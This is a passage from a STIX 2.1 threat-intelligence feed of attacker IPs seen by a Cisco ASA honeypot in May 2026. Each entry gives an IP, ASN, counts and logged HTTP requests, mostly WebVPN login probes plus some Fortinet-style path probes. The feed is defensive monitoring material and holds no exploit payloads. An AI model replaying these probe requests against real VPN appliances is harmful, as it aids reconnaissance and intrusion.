      "id": "indicator--c4b5709a-ac3f-467c-8205-894b225014f5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T11:20:10.000Z",
      "valid_until": "2026-06-06T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-05T10:22:08.050Z",
          "last_seen": "2026-05-29T20:23:29.111Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--fcfc1e0d-0410-4991-9783-d3bab88da479",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T11:20:10.000Z",
      "valid_until": "2026-06-06T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 11,
          "first_seen": "2026-05-05T10:45:39.837Z",
          "last_seen": "2026-05-05T10:52:11.045Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--8733281a-6822-439c-a6c0-2fd185d92e61",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T11:20:10.000Z",
      "valid_until": "2026-06-06T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-05T10:48:27.029Z",
          "last_seen": "2026-05-05T10:48:27.029Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--a9bd2fe1-901a-45ac-90ca-a5e1dbc45bd2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T11:20:10.000Z",
      "valid_until": "2026-06-06T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-05T10:50:00.834Z",
          "last_seen": "2026-05-05T10:50:00.834Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--79ed6a42-18fe-4092-ab60-1f71bcb9f6ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T11:20:10.000Z",
      "valid_until": "2026-06-06T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-05T10:50:05.768Z",
          "last_seen": "2026-05-05T10:50:05.768Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--eb0021a8-89d3-4c28-9a16-8b739b77d44f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T11:20:10.000Z",
      "valid_until": "2026-06-06T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-05T10:47:50.076Z",
          "last_seen": "2026-05-05T10:50:09.073Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--2a20bc78-6612-437f-83b5-27397222b9d8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T11:20:10.000Z",
      "valid_until": "2026-06-06T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-05T10:50:15.076Z",
          "last_seen": "2026-05-05T10:50:15.076Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T12:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--b0cf6a4b-737f-46e3-81ed-2e292147e50c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.171.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T12:20:11.000Z",
      "valid_until": "2026-06-06T12:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-05T11:30:38.598Z",
          "last_seen": "2026-05-30T03:37:07.920Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T12:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7727aa7d-b7cd-4b80-8b67-73c4e6430137",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.114.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T12:20:11.000Z",
      "valid_until": "2026-06-06T12:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 26,
          "first_seen": "2026-05-05T11:40:34.638Z",
          "last_seen": "2026-05-25T14:53:49.567Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T12:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5d2d91db-1614-458d-9e45-cf31f65dabca",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.71.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T12:20:11.000Z",
      "valid_until": "2026-06-06T12:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-05T12:02:34.092Z",
          "last_seen": "2026-05-05T12:02:42.302Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T12:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--304bd04a-61c2-40a4-9856-90e3c97b5abc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.95.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T12:20:11.000Z",
      "valid_until": "2026-06-06T12:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-05T12:18:44.799Z",
          "last_seen": "2026-05-26T05:57:43.613Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T12:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7159aced-9e08-4c1d-8315-2c607a84bde0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.98.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T12:20:11.000Z",
      "valid_until": "2026-06-06T12:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 33,
          "first_seen": "2026-05-05T11:32:17.832Z",
          "last_seen": "2026-05-27T20:21:50.933Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T13:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 25737 (Jone Broadband LLC)",
      "id": "indicator--521b2289-74a5-430a-a534-f5605069e79e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.162.8.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T13:20:18.000Z",
      "valid_until": "2026-06-06T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-05T13:17:24.328Z",
          "last_seen": "2026-05-29T18:05:05.732Z",
          "country": "United States",
          "country_code": "US",
          "asn": 25737,
          "as_org": "Jone Broadband LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T13:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--dd3603d5-bcae-4f2d-9bfd-085cf44ec83a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.106.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T13:20:18.000Z",
      "valid_until": "2026-06-06T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-05T12:41:42.583Z",
          "last_seen": "2026-05-26T15:49:27.041Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T13:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--bdca65ba-96bc-422e-bfd7-922ecdfa008a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.73.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T13:20:18.000Z",
      "valid_until": "2026-06-06T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-05T13:06:21.939Z",
          "last_seen": "2026-05-05T13:06:31.619Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T13:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--40b228b3-4284-4de7-a819-81c573f3d2a3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.91.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T13:20:18.000Z",
      "valid_until": "2026-06-06T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-05T12:24:19.898Z",
          "last_seen": "2026-05-27T21:13:41.288Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T13:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--210433d7-83d1-4f33-af00-66b2da3511fd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.129.187.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T13:20:18.000Z",
      "valid_until": "2026-06-06T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-05T13:19:45.537Z",
          "last_seen": "2026-05-09T12:00:48.960Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T14:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--8d556639-f5ca-493f-a0c7-e5ad6491d41e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.102.246.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T14:20:04.000Z",
      "valid_until": "2026-06-06T14:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-05T13:24:02.550Z",
          "last_seen": "2026-05-05T13:24:11.943Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T14:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--f56fc796-4698-4eca-ac30-191a45cd7186",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.102.246.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T14:20:04.000Z",
      "valid_until": "2026-06-06T14:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 36,
          "first_seen": "2026-05-05T13:30:07.347Z",
          "last_seen": "2026-05-30T12:10:29.011Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T14:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 400882 (Cyber Data LLC)",
      "id": "indicator--1b12cc92-ef6f-43c2-9c05-23d7fb0f4697",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.162.40.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T14:20:04.000Z",
      "valid_until": "2026-06-06T14:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-05T13:56:13.512Z",
          "last_seen": "2026-05-29T14:54:09.511Z",
          "country": "United States",
          "country_code": "US",
          "asn": 400882,
          "as_org": "Cyber Data LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T14:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--daeedd9d-aa6d-487d-8cbc-ca325dcc3080",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.117.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
